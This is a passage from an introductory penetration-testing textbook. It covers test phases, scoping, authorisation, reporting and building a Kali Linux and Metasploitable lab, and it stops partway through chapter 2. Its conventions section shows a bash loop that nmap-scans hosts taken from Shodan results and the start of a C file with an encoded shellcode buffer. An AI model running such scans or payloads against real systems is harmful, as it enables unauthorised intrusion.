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Preface
Penetration testing can be a complex topic, especially if you are someone who is just
starting out in the field. When I wrote this book, I looked at my own situation and how
overwhelmed I felt when I started working in penetration testing. There is a lot of great
content available online, but knowing where to start was the point that I really got stuck on.
I would find content that assumes you have some knowledge of penetration testing, or
knowledge of how a certain tool works, and so on.
This book is geared to those who are looking at finding a good starting point on their career
within penetration testing. The objective of the book is not to teach you flashy skills that
you can use to break into networks, but rather to help you gain a good understanding of
the technology while practicing your skills in a controlled environment using real-world
tools.
The goal of the book is to give you a good, solid understanding of penetration testing by
the time you've finished reading. You will be able to fully grasp the phases of a penetration
test, how to perform various techniques, and how to use various tools.

Who this book is for
This book is intended for those who wish to learn about penetration testing, but who only
have minimal or no experience with this particular topic. The ideal person to read this book
either has some basic IT education and knows the basics of Linux, or is self-taught and able
to pick up new skills fast, through both theory and hands-on practice. Those who already
have some skills in ethical hacking may find it easier to digest the contents of this book on a
faster-than-average basis.

What this book covers
Chapter 1, Introduction to Penetration Testing, helps you to understand what a penetration

test is. Here, we will introduce the stages of a penetration test and what happens at each
stage. Having a lab is key for learning, so we will cover how to build your own lab
environment using VMware, Hyper-V, or VirtualBox. We will discuss target virtual
machines based on Windows and Linux, which you will use to practice your skills.

Preface
Chapter 2, Getting Started with Kali Linux, gets you started with a penetration base

operating system. Kali Linux is well known and used by both pentesters and attackers. We
will cover the installation and setup of Kali Linux, as well as the basic commands and
essential tools that are contained within Kali Linux. We will look at installing additional
tools, maintaining updates of the tools, and how to leverage scripts within Kali Linux.
Chapter 3, Performing Information Gathering, gets you familiar with the various types of
information gathering. We will cover various online resources and tools that can be used to
gather information about your target. Techniques that are covered in this chapter include
port scanning, vulnerability scanning, and traffic capturing.
Chapter 4, Mastering Social Engineering, focuses on one of the most common attack methods

in the real world. Here, we will cover why social engineering is successful and how you can
conduct social engineering attacks using various tools.
Chapter 5, Diving into the Metasploit Framework, focuses on a tool that speaks for itself. The

Metasploit Framework is well known and is extremely flexible and robust. Here, you will
learn about the various exploits that it contains and where to find additional ones. We will
cover various components of the Metasploit Framework and how you can leverage this
framework in a penetration test.
Chapter 6, Understanding Password Attacks, dives into the various types of password attacks

that exist. We will cover the tools that are used for the various attacks. You will learn how
to build wordlists, and where you can obtain additional wordlists that are prebuilt. You
will use these skills to perform password cracking and to dump credentials from memory.
Chapter 7, Working with Burp Suite, teaches you how to use Burp Suite like a professional.

Here, we will look at how you can obtain the latest version of Burp Suite Professional and
the differences between the various editions. We will cover many aspects of the tool, and
how to use the tool to perform various attacks.

Chapter 8, Attacking Web Applications, is where we turn our focus to web applications. Web

applications have evolved dramatically over the years, and we will cover the various
components of web applications and some of the languages that are used for development.
You will learn about various attacks and how to perform them using your lab environment,
with tools designed for web application attacks.
Chapter 9, Getting Started with Wireless Attacks, focuses on wireless technologies. To

perform a penetration test on a wireless network, you need to understand the components
of a wireless network, as well as the various wireless frames and tools that are used. We
will cover all of these, including the hardware requirements for performing attacks against
a wireless network.
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Chapter 10, Moving Laterally and Escalating Your Privileges, focuses on post-exploitation.

You will learn the various post exploitation techniques that exist and the various tools that
can be used. Here, we will focus on performing post-exploitation attacks on an Active
Directory domain by taking advantage of the workings of the Kerberos protocol.
Chapter 11, Antivirus Evasion, looks at how antivirus technologies have evolved. Here, we

will cover the various techniques that exist for antivirus evasion. We will look at the tools
that can be used, and how to use the various tools when building a payload to avoid
detection.

Chapter 12, Maintaining Control within the Environment, finalizes the post exploitation phase

by looking at how we can maintain a foothold within a compromised network. Here, we
will look at various ways in which we can maintain persistence, and what tools can be used
to accomplish our goal.
Chapter 13, Reporting and Acting on Your Findings, looks at an integral part of any

penetration test. In this chapter, you will learn how to write a penetration testing report
that is tailored to executives and technical staff. You will learn about the various
recommendations that should be made to remediate some of the common findings that you
would come across in a real-world penetration test.
Chapter 14, Where Do I Go from Here?, concludes the book by looking at how you can take

your skills to the next level. We will cover some certifications and where you can obtain
vulnerable operating systems that you can use to practice and enhance your skills.

To get the most out of this book
In order to gain the most benefit from the practical aspects of this book, you will need to
have a virtualization environment set up. This can be set up using VMware or VirtualBox.
Hyper-V will work, but there is a restriction that does not allow you to link a wireless card
directly to the virtual machine. This prevents you from performing wireless attacks if you
have a compatible wireless card.
The penetration testing operating system of choice is Kali Linux. Having some basic Linux
knowledge is not mandatory, but would be beneficial. Kali Linux contains hundreds of
tools. We do not focus on all of them, but only on the tools that would get the job done.
Occasionally, we will look at tools that are available on the internet, but the installation and
setup steps are clearly defined within the book.

[3]
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The target systems used in this book are predominantly freely available, such as
Metasploitable and OWASP BWA. We will work with Windows Server and Windows 10 as
a target operating system in some chapters; the evaluation editions of these operating
systems will suffice. Having knowledge of how to set up Active Directory would be
beneficial.
Finally, this book does not focus on a specific target operating system, instead focusing on
teaching you how to use various techniques, methodologies, and tools to obtain the results
you need. Your knowledge will increase over time as you continue to apply what you have
learned and gain experience by practicing your skills with various other vulnerable
machines found on the internet.

Download the color images
We also provide a PDF file that has color images of the screenshots/diagrams used in this
book. You can download it here:
http://www.packtpub.com/sites/default/files/downloads/9781838640163_ColorImages
.pdf.

Conventions used
There are a number of text conventions used throughout this book.
CodeInText: Indicates code words in text, database table names, folder names, filenames,

file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an
example: "We will leverage the pip command to install the required shodan files."
A block of code is set as follows:
#!/bin/bash
cat shodan-iis.txt | while read line
do
nmap -sS -sV $line
done

When we wish to draw your attention to a particular part of a code block, the relevant lines
or items are set in bold:
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
"\xbd\xa1\xe2\xe6\x8b\xd9\xeb\xd9\x74\x24\xf4\x5f\x2b\xc9\x66"

[4]
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Any command-line input or output is written as follows:
sudo apt-get update && sudo apt-get install python2.7

Bold: Indicates a new term, an important word, or words that you see on screen. For
example, words in menus or dialog boxes appear in the text like this. Here is an example:
"You will notice that the interval is 0.102400 [Seconds]."
Warnings or important notes appear like this.

Tips and tricks appear like this.

Get in touch
Feedback from our readers is always welcome.
General feedback: If you have questions about any aspect of this book, mention the book
title in the subject of your message and email us at customercare@packtpub.com.
Errata: Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you have found a mistake in this book, we would be grateful if you would
report this to us. Please visit www.packt.com/submit-errata, selecting your book, clicking
on the Errata Submission Form link, and entering the details.
Piracy: If you come across any illegal copies of our works in any form on the internet, we
would be grateful if you would provide us with the location address or website name.
Please contact us at copyright@packt.com with a link to the material.
If you are interested in becoming an author: If there is a topic that you have expertise in,
and you are interested in either writing or contributing to a book, please visit
authors.packtpub.com.
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Reviews
Please leave a review. Once you have read and used this book, why not leave a review on
the site that you purchased it from? Potential readers can then see and use your unbiased
opinion to make purchase decisions, we at Packt can understand what you think about our
products, and our authors can see your feedback on their book. Thank you!
For more information about Packt, please visit packt.com.

Disclaimer
The information within this book is intended to be used only in an ethical manner. Do not
use any information from the book if you do not have written permission from the owner
of the equipment. If you perform illegal actions, you are likely to be arrested and
prosecuted to the full extent of the law. Packt Publishing does not take any responsibility if
you misuse any of the information contained within the book. The information herein must
only be used while testing environments with proper written authorizations from
appropriate persons responsible.
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1
Section 1: The Basics
In this section, we will begin with the basics. You will learn about penetration testing and
what it entails. Understanding the stages of a penetration test is the key to success. We will
start to prepare our environment by using an operating system that is geared toward
penetration testing—Kali Linux. You will learn how to set up and configure the various
elements of Kali Linux.
The following chapters will be covered in this section:
Chapter 1, Introduction to Penetration Testing
Chapter 2, Getting Started with Kali Linux

1
Introduction to Penetration
Testing
In this chapter, we begin our journey by building a solid foundation. Having a good
understanding of the basics of penetration testing will help you conduct a successful
penetration test, as opposed to haphazardly scanning networks and performing tests
blindly. We will define penetration testing and how it differs from other security
assessments. Before the actual penetration test occurs, there are a few things that need to be
done in order to ensure that the correct authorization is in place and the correct scope is
defined. Every successful penetration testing student requires a lab environment—it can be
daunting to build one, but don't despair. We will look at what options exist for a lab
environment.
As you progress through the chapter, you will learn the following:
What is penetration testing?
Stages of a penetration test
Getting started with your lab
Creating virtual machines (VMs) in VMware, Hyper-V, and Virtualbox

Technical requirements
The following technical requirements are required for this chapter:
Kali Linux version 2019.1
Any hypervisor, such as VMware, Hyper-V, or Virtualbox

Introduction to Penetration Testing

Chapter 1

What is penetration testing?
Today, penetration testing is often confused with vulnerability assessments, red team
assessments, and other security assessments. However, there are some differences between
them, as follows:
Vulnerability assessment: This is the process of identifying vulnerabilities and
risks in systems. In a vulnerability assessment, the vulnerability is not exploited.
It merely highlights the risks so that the business can identify the risks and plan
for remediation.
Penetration testing: This is the authorized process of finding and using
vulnerabilities to perform an intrusion into a network, application, or host in a
predefined time frame. Penetration testing can be conducted by an internal team
or an external third party. Penetration testing goes one step further as opposed to
a vulnerability assessment, in that a penetration test exploits the vulnerability to
ensure it is not a false positive. Penetration testing does not involve anything that
is unauthorized or uncoordinated. During a penetration test, some tests might
affect business applications and cause downtime. For this reason, awareness at
the management and staff levels is often required.
Red team assessment: This is similar to a penetration test, but it's more targeted.
As a penetration test's main aim is to discover multiple vulnerabilities and
exploit them, the goal of a red team assessment is to test an organization's
response capabilities and act on vulnerabilities that will meet their goals. In a red
team assessment, the team will attempt to access information in any way possible
and remain as quiet as possible. Stealth is key in a red team assessment. In a red
team assessment, the duration of the assessment is much longer than a
penetration test.
As you start your penetration testing journey, it's important to understand what
penetration testing is. To illustrate what penetration testing is, let's consider a scenario.
You currently own an organization that holds customer data. Within your organization,
you have SQL databases, public-facing websites, internet-facing servers, and a sizeable
number of users. Your organization is a prime target for a number of attacks, such as SQL
injections, social engineering against users, and weak passwords. Should your organization
be compromised, there is a risk of customer data being exposed, and more.

[9]
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In order to reduce your exposure to risks, you need to identify the holes in your current
security posture. Penetration testing helps you to identify these holes in a controlled
manner before an attacker does. Penetration testing uses real-world attacks that attackers
would leverage; the aim is to obtain accurate information as to how deep an attacker could
go within your network and how much information the attacker could obtain. The results
of a penetration test give organizations an open view of the vulnerabilities and allow them
to patch these before an adversary can act on them.
Think of penetration testing as looking through the eyes of an enemy.
Penetration testing is often referred to as ethical hacking, white hat
hacking, pentest, or pentesting.

As the security maturity of organizations differs, so will the scope of your penetration tests.
Some organizations might have really good security mechanisms in place, while others
might not. As businesses have policies, business continuity plans, risk assessments, and
disaster recovery as integral parts of their overall security, penetration testing needs to be
included.

Stages of a penetration test
Now that you understand what penetration testing is, you may be wondering what the
flow of a penetration test is. Penetration testing has a number of stages, and each stage
forms an important part of the overall penetration test.
There are various standards that relate to penetration testing. This book
does not follow any one of them specifically. There are other known
standards, such as the following:
NIST SP800-115 standard – https://csrc.nist.gov/
publications/detail/sp/800-115/final
Open Source Security Testing Methodology
Manual (OSSTMM) – http://www.isecom.org/research
The following stages follow the Penetration Testing Execution Standard (PTES), which I
found to be a great starting point. The full standard can be found at http://www.penteststandard.org/.

[ 10 ]
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Pre-engagement
This is the most important phase in every penetration test. In this phase, you start defining
the blueprint for the penetration test and align this blueprint to the business goals of the
client. The aim is to ensure that everyone involved is on the same page and expectations are
set well in advance.
During this phase, as a penetration tester, you need to take time to understand your client's
requirements and goals. For example, why is the client performing a penetration test? Was
the client compromised? Is the client performing the penetration test purely to meet a
compliance requirement, or does the client intend to perform remediation on the findings?
Talking to the client and understanding their business goals will help you plan and scope
your penetration test so that any sticky situation can be avoided.
The pre-engagement phase consists of a few additional components that you need to
consider.

Scoping
This component defines what will be tested. Here, the key is in finding a balance between
time, cost, and the goals of the business. It's important to note that everything agreed upon
during the scope must be clearly documented and all legal implications must be
considered.
During this component, you will ask questions such as the following:
What is the number of IP address ranges or systems that will be tested?
Does the penetration test cover physical security, wireless networks, application
servers, social engineering, and so on?
What is off-limits for the penetration test? The business might have missioncritical systems that could lead to loss of revenue if these are affected by the
penetration test.
Will the penetration test be onsite or offsite?
Are there any third-party servers that are in the scope of the penetration test?
Are you performing a white-box, grey-box, or black-box penetration test?
The questions listed do not cover everything, and the questions will vary
per client. To get a more comprehensive list of the type of questions you
should consider, you can refer to the PTES Standard at http://www.
pentest-standard.org/index.php/Pre-engagement.
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White-box testing gives you complete open access to systems, code,
network diagrams, and so on. It provides more comprehensive results
that are not available to average attackers.
Grey-box testing gives you some sort of information about the internal
systems; the aim is to obtain information from the viewpoint of an
attacker who has already breached the system.
Black-box testing does not provide you with any information or access to
the network. This type of test is more practical, as you simulate an
external attacker.
While you work on scoping your penetration test, be very careful of scope creep. Scope
creep is any additional work that is not agreed upon during the initial scope. It introduces
risks to your penetration test, which can lead to loss of revenue for you, an unsatisfied
client, and even legal implications. Scope creep is a trap that you can easily fall into.
Keep in mind the cost of a penetration test when in the scoping phase. Penetration test
prices vary depending on what needs to be tested. For example, testing a complex web
application will require a lot more time and effort, therefore the cost will be a lot more
when compared to a simple network penetration test. The regularity with which you
conduct the penetration test is another factor that affects the cost.

Timelines
Timelines can be set by the client as to when you are allowed to perform the penetration
test. Some clients might have business-critical servers that are patched during a specific
time window, and these servers might be off-limits during that time.
Ensure that the start and end dates are defined. This allows the penetration test to have a
defined end date.

Dealing with third parties
Today, many businesses are utilizing cloud services. There is a high probability that you
will encounter cloud servers within your penetration scope. It's important to keep in mind
who owns the server. In the case of a cloud environment, the server is not owned by the
business that the penetration test is being conducted for, but rather the cloud provider.
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Big players in the cloud space, such as Microsoft, Amazon, and Google, all have penetration
testing rules-of-engagement documents. These documents detail what you are allowed to
do and what you are not allowed to do.
Microsoft defines its rules of engagement here: https://www.microsoft.
com/en-us/msrc/pentest-rules-of-engagement.
Amazon defines its rules of engagement here: https://aws.amazon.com/
security/penetration-testing/.

Google defines its rules of engagement here: https://cloud.google.com/
security/overview/.

Make sure that you obtain the correct approvals from the cloud provider if you have any
cloud services within your penetration scope; failure to do so might lead to legal
consequences.

Payment
Discussions around payment terms are crucial, as it's common for large organizations to
delay payments. You need to define your payment terms upfront. Clear dates should be
defined as to when payments should be made.
Don't forget to define the costs; for example, you will perform a penetration test on 10 IP
addresses at a cost of $500 per IP address.

Your "get out of jail free card"
As you perform penetration testing, you will uncover multitudes of information that are
valuable to real-world attackers, and you will also be performing activities that are illegal.
The only thing that separates a penetration tester from a malicious hacker is permission.
Obtaining the relevant permission forms your "get out of jail free card". The permission that
is provided by the business details any constraints and authorizes you to perform activities
defined in your scoping agreement.
It's a formal approval from the business to begin the penetration test.
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Intelligence gathering
Once you have completed the pre-engagement phase, you need to gather as much
information as you can before you begin your attack. In the intelligence-gathering phase,
also referred to as information gathering, you start looking at how much information you
can obtain about your target. You will gather information from publicly accessible
resources. This is known as Open Source Intelligence (OSINT). You will start leveraging
tools that can assist you, such as Maltego and Shodan.
The importance of intelligence gathering is that you are able to detect entry points into the
target organization. Businesses and employees do not take into account how much of their
data they can expose on the internet, so this data becomes a wealth of information for a
determined attacker.
In Chapter 3, Performing Information Gathering, we will cover information gathering in more
detail.

Threat modeling
Once you have gathered information in the intelligence-gathering phase, you start working
on threat modeling. In threat modelling, you begin to create a structure of threats and how
they relate to your target's environment. For example, you will identify systems that hold
valuable information, then you will identify the threats that pertain to the systems and
what vulnerabilities exist in the system that can allow the attacker to act on the threat.
Threat modeling has a few methodologies, such as the following:
Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service,
Elevation of Privilege (STRIDE)
Process for Attack Simulation and Threat Analysis (PASTA)
Visual Agile and Simple Threat Modelling (VAST)
There are few tools that you can leverage for threat modeling; the most common being the
following two:
Microsoft Threat Modelling Tool: https://aka.ms/tmt
OWASP Threat Dragon: https://www.owasp.org/index.php/OWASP_Threat_
Dragon
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Vulnerability analysis
Once you have defined the threats that could lead to compromise, it's time to discover what
vulnerabilities exist for those threats. In the vulnerability analysis phase, you start to
discover vulnerabilities in systems and how you can act upon those by using exploits.
Here, you will perform either active or passive analysis. Keep in mind that any failed
exploits can lead to detection.
Active vulnerability analysis can consist of the following:
Network scanners
Web application scanners
Automated scanners
Passive vulnerability analysis can consist of the following:
Monitoring traffic
Metadata
There are many vulnerability scanners that exist today. For example, the more commonly
used one is Nessus, but there are many others, such as OpenVAS, Nikto, and QualysGuard.

Exploitation
In the exploitation phase, you start focusing on obtaining access to systems and evading
any security blockers that exist. By performing a vulnerability analysis in the exploitation
phase, you can create a precise plan that you can execute.
In this phase, you will begin to work with many tools. Some exploits can be done easily,
while others can be complex.

Post-exploitation
Post-exploitation covers activities that can be performed once a target is successfully
exploited.
The post-exploitation phase really showcases your skills as a penetration tester. When
malicious hackers breach a system, they start to trawl the environment looking for highvalue targets. They also start creating backdoors so that they can easily revisit the
compromised system.
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As a penetration tester, you would perform tasks as if you were an attacker. Once you have
breached a system, it's time to look for high-value targets and valuable information,
attempt to access escalated privileges, move laterally, and look at how you can pivot.

Reporting
In the final phase of penetration testing, findings need to be provided to the business in a
meaningful way. Here, you would define everything from how you entered their
environment to what you found. It's important to provide the business with
recommendations on how to fix the gaps that you have exposed in your penetration test.
Your report should have an executive summary and a technical report. Each section needs
to be tailored to the audience that you are presenting it to. For example, you would not say
that you used the MS17-010 EternalBlue exploit to compromise a system in the executive
summary, but you would say this in the technical report.

Executive summary
The executive summary will define the goals of the penetration test and provide an
overview of the findings at a very high level. As the audience of the executive summary is
usually the business decision-makers, you need to communicate on their level. In order to
do that, the executive summary may contain the following sections:
Background: In the background section, you need to explain the purpose of the
penetration test.
Overall posture: Here, you will define how effective the penetration test was in
relation to the goals defined during the pre-engagement phases.
Risk ranking: This defines the overall risk rating that the business resides in. For
example, the business might be at an extreme, high, moderate, or low risk. You
have to explain this rating so that it is clear to the business why they fall into that
risk rank.
General findings: This section provides a brief summary of the issues that were
identified during the penetration test. Charts are often found here that highlight
security risk categories; for example, missing patches and operating system
hardening.
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Recommendation summary: This outlines a high-level overview of what tasks
should be performed to re-mediate the findings. Do not go into detail here, as
details are covered in the technical report.
Strategic roadmap: This provides the business with an actionable roadmap to
remediate the findings. This roadmap must be prioritized and be in line with the
business-level of potential impact. The roadmap can be broken down into parts,
such as 1 to 3-month, 3 to 6-month, and 6 to 12-month plans. Within each
section, there should be actions defined; for example, within the 1 to 3month plan, the business should address missing patches that are low-impact.

Technical report
The technical report will include a lot more details compared to the executive summary. In
the technical report, you will define the scope, information, attack methods, and
remediation steps in full. In this report, you can use technical terms that are easily
understood, such as remote shell, pass-the-hash, and NTLM hashes.
The technical report will include the following sections:
Introduction: This part will include topics such as the scope of the penetration
test, contacts, systems involved, and approach.
Information gathering: Here, you will explain how much of information you
were able to gather on the targets. In this section, you can dive deeper to
highlight what information was obtained by passive intelligence
(information publicly available on the internet, DNS records, IP address
information, and so on), active intelligence (port scanning, footprinting, and so
on), personnel intelligence (what information was obtained from social
engineering, phishing, and so on), and so forth.
Vulnerability assessment: In this section, you will define what types of
vulnerabilities were discovered, how they were discovered, and provide
evidence of the vulnerability.
Exploitation/vulnerability verification: This section provides the detailed steps
on how you acted on the vulnerabilities discovered. Details such as a timeline of
the attack, targets, success/fail ratio, and level of access obtained should be
included.
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Post exploitation: Details included here would be activities such as escalation
paths, data extraction, information value, how effective the countermeasures
were (if any), persistence, and pivot points.
Risk/exposure: The results from the preceding sections are combined and tied to
a risk and exposure rating. This section would contain information such as
estimated loss per incident, the skill required to perform a certain attack,
countermeasure strength, and risk ranking (critical, high, medium, low).
Conclusion: The conclusion should always end on a positive note. Here, you will
highlight any guidance for increasing the business' security posture with a final
overview of the penetration test.
Now that we have built our foundation on what penetration testing is, its phases, and how
it differs from vulnerability assessments and red team assessments, it's time to dive into lab
environments.

Getting started with your lab
As you work through this book, you will learn how to use different tools in a controlled
environment. In order to have a controlled environment, we will need to build one.
There are three options that we have for building a penetration lab. These are as follows:
Using a cloud provider: Cloud providers such as Microsoft Azure, Amazon Web
Services, and Google Cloud give you the flexibility and scalability of deploying
systems at a fraction of the cost compared to purchasing dedicated hardware.
The only catch with using a cloud provider is that you would probably require
permission to perform penetration tests on your deployed services.
Using a high-powered laptop or desktop with virtualization software: As highpowered laptops and desktops are relatively cheap, this would be the option that
many prefer. By using virtualization software such as Microsoft Hyper-V,
VMware, and Virtualbox, you can deploy a fully isolated network on your host
computer.
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When using a hypervisor for penetration testing, there is a limitation with HyperV. Currently, Hyper-V does not allow you to connect a USB wireless card directly
to the VM, as opposed to VMware, shown in the following screenshot, and
Virtualbox. This introduces problems when you try to leverage monitor mode for
wireless penetration testing. VMware and Virtualbox allow you to connect a USB
wireless card directly to the virtual machine. The following screenshot depicts
connecting a wireless network card directly to the virtual machine (Figure 1):

Figure 1: Connecting a wireless card to the virtual machine.

Using dedicated hardware: This is the more expensive option. Here, you will
need to have a full slew of networking equipment, including dedicated servers
and workstations.
Let's start by looking at building a lab environment using virtualization tools such as
VMware, Hyper-V, and VirtualBox.
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Creating virtual machines in VMware, HyperV, and VirtualBox
Leveraging a hypervisor enables you to build your lab environment with minimal
hardware costs. Any decent laptop or desktop these days is able to run hypervisor
software. When you use your hypervisor of choice, make sure that you configure the
virtual networks appropriately. For example, if you require your VMs to be isolated, then
you would use host only. If you require your virtual machine to have internet access, you
could use network address translation or bridged networking. The difference between
network address translation and bridged networking is that, with bridged networking,
your virtual machine will obtain its own IP address, whereas with network address
translation, your virtual machine will leverage your hosts, IP address to communicate
externally.
Note that the options might differ between the different pieces of
hypervisor software, but the concepts are the same.

Microsoft Hyper-V
Hyper-V is a virtualization product by Microsoft that you can use to create VMs. Microsoft
Hyper-V is available on Windows 10. It can be enabled on Enterprise, Education, and Pro
versions of Windows 10.
Hyper-V can be installed a number of ways.
Using Powershell, you can install the Hyper-V role using the following code:
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

Also, by using the following DISM and CMD (running as administrator) code:
DISM /Online /Enable-Feature /All /FeatureName:Microsoft-Hyper-V
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Hyper-V can also be installed using programs and features within Windows. To do so, the
following steps should be performed in Windows 10:
1. Press the Windows key + R to open the Run dialog box. Type in appwiz.cpl to
open Programs and Features as shown in Figure 2:

Figure 2: Opening the Programs and Features.

2. Click on Turn Windows features on or off as shown in Figure 3:

Figure 3: Turn windows features on or oﬀ.
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3. Select the Hyper-V roles as shown in Figure 4:

Figure 4: Selecting Hyper-V roles.

4. Click on OK.
Your computer will require a reboot to install the Hyper-V roles.
Hyper-V currently does not have the ability to connect a USB device
directly to the virtual machine. This introduces problems with wireless
cards that will be used for wireless penetration testing, as you are unable
to switch to monitor mode.
More information about Microsoft Hyper-V can be found at https://
docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/
about/.
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VMware
VMware is a virtualization software that offers both free and paid versions. VMware offers
support for Microsoft Windows, Linux, and Mac OS.
VMware Workstation Player (https://www.vmware.com/products/workstation-player.
html) is available for free for Microsoft Windows and Linux operating systems. There is a
paid version called VMware Workstation Pro (https://www.vmware.com/products/
workstation-pro.html), which offers some additional features over the free
version. VMware Fusion (https://www.vmware.com/products/fusion.html), which is also
a paid version, is available for macOS.

VirtualBox
Virtualbox is an open source hypervisor that is free to use. It offers support for Microsoft
Windows, Linux, and macOS. Virtualbox has a number of extensions that are available for
use, which includes support for USB3, PXE boot, disk encryption, and more.
Virtualbox can be downloaded at https://www.virtualbox.org/wiki/Downloads.

Target machines
As we progress through the book, we will perform some penetration tests against target
machines.
When we talk about target machines, these are VMs that will be used to
test various tools and concepts in this book.

For Microsoft Windows, we will leverage the evaluation center to download Windows 10
Enterprise and Server 2012 R2.
The Microsoft evaluation center can be accessed at https://www.microsoft.com/en-us/
evalcenter/.
The direct link for Windows Server 2012R2 is https://www.microsoft.com/en-us/
evalcenter/evaluate-windows-server-2012-r2, and for Windows 10 Enterprise, the direct
link is https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10enterprise.
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For both operating systems, you will leverage the .iso file and install them using your
hypervisor of choice.

Metasploitable
Metasploitable is an intentionally vulnerable machine that you can use to test Metasploit
exploits to obtain shell permissions. Metasploitable differs from other vulnerable machines,
since it focuses more on the operating system and network layer.
Metasploitable currently has three versions to date; these are aptly named Metasploitable,
Metasploitable 2, and Metasploitable 3.
There are significant changes in each release over and above how you would set them up.
Metasploitable (version 1) is a VM-based customized Ubuntu image. Within this image,
there is a number of vulnerable and poorly configured software installed. For example, you
might have Tomcat with weak credentials, easily exploitable using Metasploit.
Metasploitable (version 1) is available on Vulnhub for download
at https://www.vulnhub.com/entry/metasploitable-1,28/.

Metasploitable 2, which was more robust, had a lot more vulnerabilities introduced. It
included more than 30 exposed ports that would show up in a Nmap scan. It also included
vulnerable web applications, such as Damn Vulnerable Web App (DMVA) and
Mutillidae. This allowed people to test their web application penetration testing skills.
Metasploitable (version 2) is available for download at https://

information.rapid7.com/download-metasploitable-2017.html.

Metasploitable 3 upped the game. Versions 1 and 2 were Linux-based, but version 3 is
Windows-based. Metasploitable 3 makes use of automation and provisioning. The build
process is simple and robust, all of its scripts are open source, and it leverages tools such as
vagrant and packer. At the time this book was written, Metasploitable 3 supports both
VMware and Virtualbox.
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Metasploitable 3 is available for download from https://github.com/
rapid7/metasploitable3.

There is additional software that needs to be installed prior to getting Metasploitable up
and running. The following are required:
Packer (available for download at https://www.packer.io/intro/gettingstarted/install.html)
Vagrant (available for download at https://www.vagrantup.com/docs/
installation/)
The Vagrant reload plugin (available for download at https://github.com/
aidanns/vagrant-reload#installation)
Virtualbox or VMware
Metasploitable 3 (available for download at https://github.com/rapid7/
metasploitable3)
The build steps for Metasploitable 3 are relatively simple and can be found on the GitHub
repository maintained by Rapid7 (https://github.com/rapid7/metasploitable3). There
are resources available on the internet that host pre-built Metasploitable 3 VMs.
In Chapter 5, Diving into the Metasploit Framework, we will perform
various tasks using the Metasploitable labs discussed here.

Summary
In this chapter, we began to build a solid foundation as you learned about penetration
testing and how it differs from vulnerability and red team assessments. We defined the
importance of leveraging a methodology or standard for penetration testing, such as the
PTES standard and the various phases within it. Within each phase, we discussed what is
involved and highlighted some important facets that should not be overlooked, such as the
"get out of jail free card". Lastly, we looked at a lab environment, the various hypervisors
that currently exist, and how to build a Metasploitable lab environment for future use.
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In the next chapter (Chapter 2, Getting Started with Kali Linux), we will dive into Kali Linux
to explore the different install options for Kali Linux and some initial configuration that is
required. We will explore some of the essential tools within Kali Linux and what their main
uses are.

Questions
1.
2.
3.
4.
5.

What is the purpose of penetration testing?
Name at least two penetration testing standards.
Why is it important to scope a penetration test?
Name at least two threat modeling methodologies.
Why is Metasploitable different from other vulnerable machines?
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Getting Started with Kali Linux
In this chapter, we will dive into Kali Linux as our penetration testing platform of choice.
Kali Linux has a variety of installation options, so we will explore what options exist and
examine how to use them. After demonstrating the installation process, there are some
initial tasks that need to be done on Kali Linux, so we will work through the initial setup to
ensure that we are ready to start working with Kali Linux. Scripting should already be part
of your arsenal, so we will dive into basic scripting and then start exploring some of the
common tools that are available on Kali Linux.
As you progress through this chapter, you will learn about the following topics:
An introduction to Kali Linux
Installing and configuring Kali Linux
Basic commands in Kali Linux
Scripting in Kali Linux
The essential tools of Kali Linux
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Chapter 2

Technical requirements
The technical requirements for this chapter are as follows:
Any hypervisor, such as VMware, Hyper-V, or VirtualBox
Windows 10 Professional or Enterprise
Kali Linux 2019.1

An introduction to Kali Linux
For this book, Kali Linux will be our platform of choice. Kali Linux is a free penetration
testing distribution platform that offers a vast range of tools, such as Metasploit for network
penetration testing, Nmap for port and vulnerability scanning, Aircrack-Ng for wireless
network testing, the Social engineering toolkit (SET) for social engineering attacks, and
many more.
Kali Linux is a maintained distribution; this means that it's constantly updated and
maintained. At the time of writing, the current version of Kali Linux is 2019.1.
Version 2019.1 introduced a massive update to Metasploit (Metasploit will be covered in
Chapter 5, Diving into the Metasploit Framework), including bug fixes, kernel updates, and
more.
Kali Linux version 2019.1 is used in this book; note that some of the
exercises may differ if they are performed on different versions of Kali
Linux.
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Kali Linux can be downloaded at https://www.kali.org/downloads, and there are a
number of options available for downloading the platform. You can choose to download a
32-bit or 64-bit .iso of the latest version of Kali Linux, as shown in Figure 1:

Figure 1: Kali Linux's download options
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There are also prebuilt virtual machines for VMware and VirtualBox, which are available to
download from Offensive Security; these can be found at https://www.offensivesecurity.com/kali-linux-vm-vmware-virtualbox-image-download/, as shown in Figure 2:

Figure 2: Kali Linux's prebuilt virtual machines
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Kali has the ability to run either as an installed operating system or as a live version, as
shown in Figure 3. With the live version, you will need to set up persistent storage on a USB
drive—that is, if you want to keep any of the data that is collected while using Kali in live
mode:

Figure 3: Diﬀerent boot options for Kali Linux
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As you will know, there are various ways to get Kali Linux up and running. For instance,
you can leverage a USB disk with Kali Linux for portability. This means that you have the
ability to plug it into any PC in order to get Kali up and running. Additionally, some users
might prefer having a prebuilt virtual machine—this takes the effort out of installing the
operating system from scratch. Alternatively, other users prefer to customize Kali Linux
during installation and will want to install Kali Linux directly using the .iso file.

Installing and configuring Kali Linux
Now that you have downloaded Kali Linux, we need to get it installed and ready. You will
notice that there are few options for installing Kali Linux; I will be using a prebuilt virtual
machine, which is currently version 2019.1.

Installation
If you leverage the Kali Linux prebuilt virtual machine, all you have to do is open it with
VMware or VirtualBox. The VMware prebuilt machines will need to be extracted, but you
can use 7zip to extract the virtual machine.
Leveraging the prebuilt virtual machines saves you the time of installing Kali Linux
manually. Note that if you are prompted when opening a prebuilt virtual machine, then
you can simply select "I copied it".
7Zip can be downloaded from https://www.7-zip.org/download.html.
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Installing Kali Linux on macOS
If you want to install Kali Linux from scratch on macOS using VMware Fusion, you can
perform the following steps:
1. In VMware Fusion, press Ctrl + N or Command + N for macOS; this will bring up
the new virtual machine dialog box, as shown in Figure 4:

Figure 4: Diﬀerent options for the installation of a VM in VMware Fusion
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2. Drag the Kali Linux .iso file into the window and click on Continue. Next,
select Linux as the operating system, followed by Debian 9.x 64-bit, and then
click on Continue, as shown in Figure 5:

Figure 5: Options for guest operating systems
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3. Select the boot firmware as UEFI, and then click on Continue, as shown in Figure
6:

